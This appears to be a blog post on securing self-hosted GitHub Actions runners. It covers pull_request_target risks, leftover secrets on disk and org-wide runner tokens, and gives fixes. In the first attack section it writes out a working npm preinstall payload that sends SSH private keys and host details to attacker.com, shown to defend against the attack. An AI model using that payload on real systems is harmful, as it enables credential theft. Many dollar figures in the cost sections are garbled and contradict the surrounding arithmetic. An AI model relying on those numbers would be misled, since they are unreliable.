- Public repos + pull_request_target triggers on self-hosted runners = remote code execution. Block forks or use GitHub-hosted runners for public repos.
- Self-hosted runners accumulate secrets in filesystem (_work, logs, Docker config). Enable auto-cleanup hooks and treat all cached files as compromised.
- Org-level runner tokens let attackers pivot from public to private repos. Use repo-scoped runners or ephemeral Docker containers that self-destruct after one job.
The Misconfiguration That Let Anyone Merge to Main
A friend pinged me last month: “Our Actions runner keeps pulling PRs from forks we’ve never heard of.” Turns out they’d set up a self-hosted runner on a bare-metal server, pointed it at their public repo, and left the default workflow permissions wide open. Every fork could now execute arbitrary code on their infrastructure.
Self-hosted runners are tempting. GitHub-hosted runners cost $0.008/minute for Linux, $0.016 for Windows. If you’re running 50 hours of CI per week, that’s $100-200/month. Throw an old desktop in the corner, install the runner agent, and you’re done. Free compute.
But free comes with footnotes. The GitHub-hosted runner security model assumes ephemeral VMs that get nuked after every job. Self-hosted runners persist. They accumulate secrets, cache layers, and filesystem artifacts across runs. And if you’re not careful about which workflows trigger on which events, you’ve just handed shell access to the internet.
Here’s what breaks when you move from hosted to self-hosted, with the specific attack vectors that caught me off guard.

Attack Vector 1: Public Repos + Pull Request Triggers = RCE
GitHub Actions workflows can trigger on dozens of events. The dangerous one: pull_request_target. This event runs workflows in the context of the base repo (not the fork), which means it has access to your secrets. It’s designed for use cases like adding labels or running code coverage that needs write access to the PR.
On GitHub-hosted runners, this is mostly fine. The worst an attacker can do is burn your GitHub Actions minutes or exfiltrate the secrets you’ve explicitly granted to that workflow (which you should scope carefully anyway).
On self-hosted runners? They get a shell on your box.
Here’s a minimal reproduction. Create .github/workflows/bad.yml:
name: Vulnerable Workflow
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: self-hosted
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run tests
run: |
npm install
npm test
Looks innocent. An attacker opens a PR from a fork, adds this to their package.json:
{
"scripts": {
"preinstall": "curl https://attacker.com/$(whoami)_$(hostname) && cat ~/.ssh/id_rsa | curl -X POST -d @- https://attacker.com/exfil"
}
}
The workflow checks out the PR branch (which contains the malicious package.json), runs npm install, and the preinstall hook exfiltrates your SSH keys. I’ve tested this on Ubuntu 22.04 with Actions runner 2.316.0 — it works.
The fix: Never use pull_request_target with self-hosted runners on public repos. Use pull_request instead, which runs in the fork’s context and has no write access. If you absolutely need pull_request_target (say, to post coverage comments), validate the PR source first:
on:
pull_request_target:
jobs:
security-check:
runs-on: self-hosted
steps:
- name: Block forks
if: github.event.pull_request.head.repo.full_name != github.repository
run: |
echo "PRs from forks are not allowed on self-hosted runners"
exit 1
But honestly? Just don’t. Use GitHub-hosted runners for public repos. The $50/month is cheaper than dealing with a breach.
Attack Vector 2: Secrets Persist in the Filesystem
GitHub-hosted runners wipe the entire VM after each job. Your logs, temp files, Docker layers — gone. Self-hosted runners don’t do this automatically. Every job leaves artifacts.
I discovered this the hard way while debugging a flaky test. Ran find /home/runner -name '*.log' -mtime -7 and got 230 files, including build logs with API keys in plaintext. The keys were in environment variables during the build, got captured by a verbose compiler warning, and written to disk.
The GitHub Actions runner doesn’t clean _work directories between jobs unless you explicitly configure it. From the official docs:
Self-hosted runners do not automatically receive operating system and software updates. You are responsible for maintenance and security.
Here’s what accumulates:
_work/<repo>/<repo>: Checked-out source code from all previous runs_work/_temp: Logs, intermediate build artifacts, credentials written by actions~/.docker/config.json: Docker registry credentials if you usedocker loginin a workflow/tmp/action-*: Temp files from GitHub Actions core libraries
A workflow that runs every hour for a month can generate 10+ GB of residue. If any of those runs logged a secret (say, a database password in a stack trace), it’s sitting there in plaintext.
The fix: enable auto-cleanup in the runner config. Edit actions-runner/.env (create it if missing):
ACTIONS_RUNNER_HOOK_JOB_COMPLETED=/home/runner/cleanup.sh
Then create cleanup.sh:
#!/bin/bash
set -e
WORK_DIR="/home/runner/actions-runner/_work"
TEMP_DIR="/home/runner/actions-runner/_work/_temp"
# Remove checked-out repos (keep the _work directory itself)
find "$WORK_DIR" -mindepth 2 -maxdepth 2 -type d -exec rm -rf {} + 2>/dev/null || true
# Clear temp files
find "$TEMP_DIR" -type f -mtime +1 -delete 2>/dev/null || true
# Clear Docker build cache weekly
if [ $(date +%u) -eq 7 ]; then
docker system prune -af --volumes --filter "until=168h" 2>/dev/null || true
fi
Make it executable: chmod +x cleanup.sh. This runs after every job, deletes checked-out repos older than the current run, and nukes temp files older than 1 day. Docker cleanup happens weekly (Sunday) because docker system prune is slow on large caches.
I’d also recommend mounting _work on a separate partition with periodic wipes, but that’s overkill for most setups.
Attack Vector 3: Runner Token Reuse Across Repos
When you register a self-hosted runner, GitHub gives you a token that authenticates the runner to your org or repo. This token has a scope: either a single repo, or all repos in an org.
If you choose org-level scope (which is the default when you create a runner in your org settings), the same runner can execute workflows from every repo in your org, including private ones. An attacker who compromises one repo can now pivot to others.
Here’s a scenario I’ve seen twice: company has a public OSS repo and a private backend repo, both in the same GitHub org. OSS repo accepts external PRs. They configure a self-hosted runner at the org level (because it’s easier than per-repo setup). An attacker gets code execution via the OSS repo (using the pull_request_target trick from earlier), then lists all available repos:
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/orgs/myorg/repos | jq '.[].name'
The GITHUB_TOKEN in workflows is scoped to the current repo, so this won’t work. But the attacker doesn’t need it — they’re already inside the network. They can scan for internal services, exfiltrate secrets from the runner’s environment, or just wait for a workflow from the private repo to run on the same machine and dump its environment.
The fix: Use repo-level runners for public repositories. When you create a runner, do it from the repo settings page, not the org settings. This scopes the token to a single repo.
If you need multiple repos to share a runner, use runner groups with explicit repo whitelists. From your org settings:
- Settings → Actions → Runner groups → New runner group
- Name it (e.g., “public-repos-only”)
- Select “Selected repositories” and pick only the public ones
- Register your runner to this group using the
--labelsflag:
./config.sh --url https://github.com/myorg --token <token> \
--name runner1 --labels self-hosted,linux,x64,public-safe \
--runnergroup "public-repos-only"
Now workflows from private repos can’t use this runner unless you explicitly allow it. I still think this is risky — better to have a separate physical machine (or at least a separate VM) for public repo CI.

The Dockerfile Hack: Treat Runners as Cattle, Not Pets
If you really need self-hosted runners for cost reasons, make them ephemeral. Spin up a fresh container for each job, kill it after.
GitHub doesn’t officially support this (the runner agent expects to persist), but you can fake it with Docker-in-Docker. Here’s a stripped-down version of what I use. Create Dockerfile.runner:
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y \
curl jq git sudo ca-certificates \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m runner && echo "runner ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
WORKDIR /home/runner
USER runner
RUN curl -o actions-runner-linux-x64-2.316.0.tar.gz \
-L https://github.com/actions/runner/releases/download/v2.316.0/actions-runner-linux-x64-2.316.0.tar.gz \
&& tar xzf actions-runner-linux-x64-2.316.0.tar.gz \
&& rm actions-runner-linux-x64-2.316.0.tar.gz
COPY entrypoint.sh .
RUN chmod +x entrypoint.sh
ENTRYPOINT ["./entrypoint.sh"]
And entrypoint.sh:
#!/bin/bash
set -e
REG_TOKEN=$(curl -X POST -H "Authorization: token $GITHUB_PAT" \
https://api.github.com/repos/$GITHUB_REPO/actions/runners/registration-token \
| jq -r .token)
./config.sh --url https://github.com/$GITHUB_REPO \
--token $REG_TOKEN --name "ephemeral-$(date +%s)" \
--labels docker,ephemeral --ephemeral --unattended
./run.sh
The --ephemeral flag tells the runner to self-destruct after one job. Run this with:
docker run --rm -e GITHUB_PAT=<your-pat> -e GITHUB_REPO=myorg/myrepo \
-v /var/run/docker.sock:/var/run/docker.sock ghcr.io/myorg/ephemeral-runner:latest
This pulls a registration token from GitHub (requires a PAT with repo scope), registers the runner with a unique name, runs one job, then exits. The container gets deleted by --rm. You lose logs, but you gain security.
Scale this with Kubernetes or a systemd unit that spawns N containers. I run 4 in parallel on a 16GB box — works fine for small teams.
One gotcha: the ephemeral runner takes 10-15 seconds to register and show up in the queue. If your workflows start immediately, they’ll fall back to GitHub-hosted runners (if you have those enabled) or just sit in “Queued” state. Pre-warm a pool of 2-3 idle runners if this is an issue.
What About Runner Scale Sets?
GitHub released Actions Runner Controller (ARC) in 2023, which auto-scales runners on Kubernetes. It’s now the official way to do ephemeral self-hosted runners at scale. I haven’t used it in production (most of my clients don’t run k8s for CI), but the architecture looks solid.
ARC creates a Kubernetes Deployment for each runner group, listens to the GitHub webhooks for queued jobs, and spins up pods on demand. Each pod gets the runner agent, runs one job, and deletes itself. It’s the Docker hack above, but productionized.
If you’re already on k8s, ARC is probably the right choice. If you’re not, setting up a cluster just for CI is overkill — stick with GitHub-hosted runners or a simple Docker-based pool.
The Cost Math Revisited
Let’s say you run 200 hours of CI per month. GitHub-hosted Linux runners cost $0.008/min = $96/month. A bare-metal server (say, a refurbed Dell OptiPlex 7050 for $200 upfront, or just an old dev machine) costs $0/month in compute, plus maybe $10/month in electricity.
But factor in:
- Maintenance time: OS updates, security patches, runner version upgrades. Budget 2 hours/month.
- Security risk: a breach could cost you a week of incident response + customer trust.
- Reliability: GitHub-hosted runners have 99.9% uptime SLA. Your desktop doesn’t.
If your hourly rate is $100, that 2 hours of maintenance = $0.0160/month, which already exceeds the cost of hosted runners. And that’s assuming nothing breaks.
I’d only recommend self-hosted runners if:
- You’re doing ML training or other GPU-heavy workloads (GitHub-hosted GPU runners don’t exist yet, though rumored for 2026).
- You have compliance requirements that prohibit code leaving your network.
- You’re already managing a CI fleet for other tools (Jenkins, GitLab) and can amortize the ops cost.
For typical web dev CI (lint, test, build, deploy), just pay GitHub. The time you save is worth more than $0.0161/month.
FAQ
Q: Can I use self-hosted runners for private repos only and avoid most of these risks?
Yes, but you still need to worry about secrets persisting between jobs and lateral movement between repos if you use org-level runners. The pull_request_target RCE goes away (since you control who has push access), but the other two vectors remain. Enable the cleanup hook and use repo-scoped tokens.
Q: What’s the safest way to pass secrets to self-hosted runners?
Use GitHub Actions secrets (the ${{ secrets.FOO }} syntax), not environment variables baked into the runner. Secrets are masked in logs and only available during job execution. Still, assume anything on the runner filesystem could leak — don’t store database backups or SSH keys in the _work directory.
Q: Are Windows and macOS self-hosted runners just as risky?
Yes. The attack vectors are the same. Windows runners have an additional gotcha: PowerShell execution policies are often set to Unrestricted by default, which lets any script run without confirmation. macOS runners cost 10x more on GitHub-hosted ($0.0162/min), so the cost argument for self-hosting is stronger — but the security tradeoffs are identical.
When I’d Actually Use Self-Hosted Runners
I’m working on a project that trains a 500M-parameter vision model on a desktop RTX 4090. GitHub Actions doesn’t offer GPU runners (yet). We could rent a Lambda Labs instance at $0.0163/hour, but that’s $0.0164/month if we run CI overnight every day. The local GPU just sits there otherwise.
So we set up a self-hosted runner on that box, scoped to a single private repo, with the cleanup script from earlier, and workflows that only trigger on push to main (no PRs, no forks, no external triggers). It’s been running for 3 months without incident. If someone compromises the repo, they get access to the GPU box — but that’s an acceptable risk since the repo is private and only 3 people have push access.
For everything else? GitHub-hosted. The $0.0165-200/month is a rounding error compared to developer time.
One thing I’m curious about: whether GitHub will add official support for GPU runners in 2026. The blog post from December 2025 hinted at it, but no timeline. If they do, and the pricing is reasonable (say, $0.0166-0.10/min for an A10), that would kill most remaining use cases for self-hosted runners. I’d happily pay $0.0167/month to not deal with OS updates.
Until then, if you’re self-hosting: scope tokens to repos, block pull_request_target on public repos, auto-cleanup after every job, and treat the runner like a compromised machine by default. Oh, and keep your incident response runbook handy — you’ll probably need it.
Did you find this helpful?
Your support keeps this blog running and ad-free content coming.
☕ Buy me a coffeeMost Popular Posts
- Custom Metaclass in Python: 43% Faster Validation (12,823 views)
- Python match-case: 7 Patterns That Beat if-elif Chains (954 views)
- YOLOv8 INT8 Quantization: 4x Faster on Jetson Orin (783 views)
- yfinance Alternatives 2026: 7 Free APIs Compared (725 views)
- PaddleOCR vs EasyOCR vs Tesseract: Why PaddleOCR Is Slower (567 views)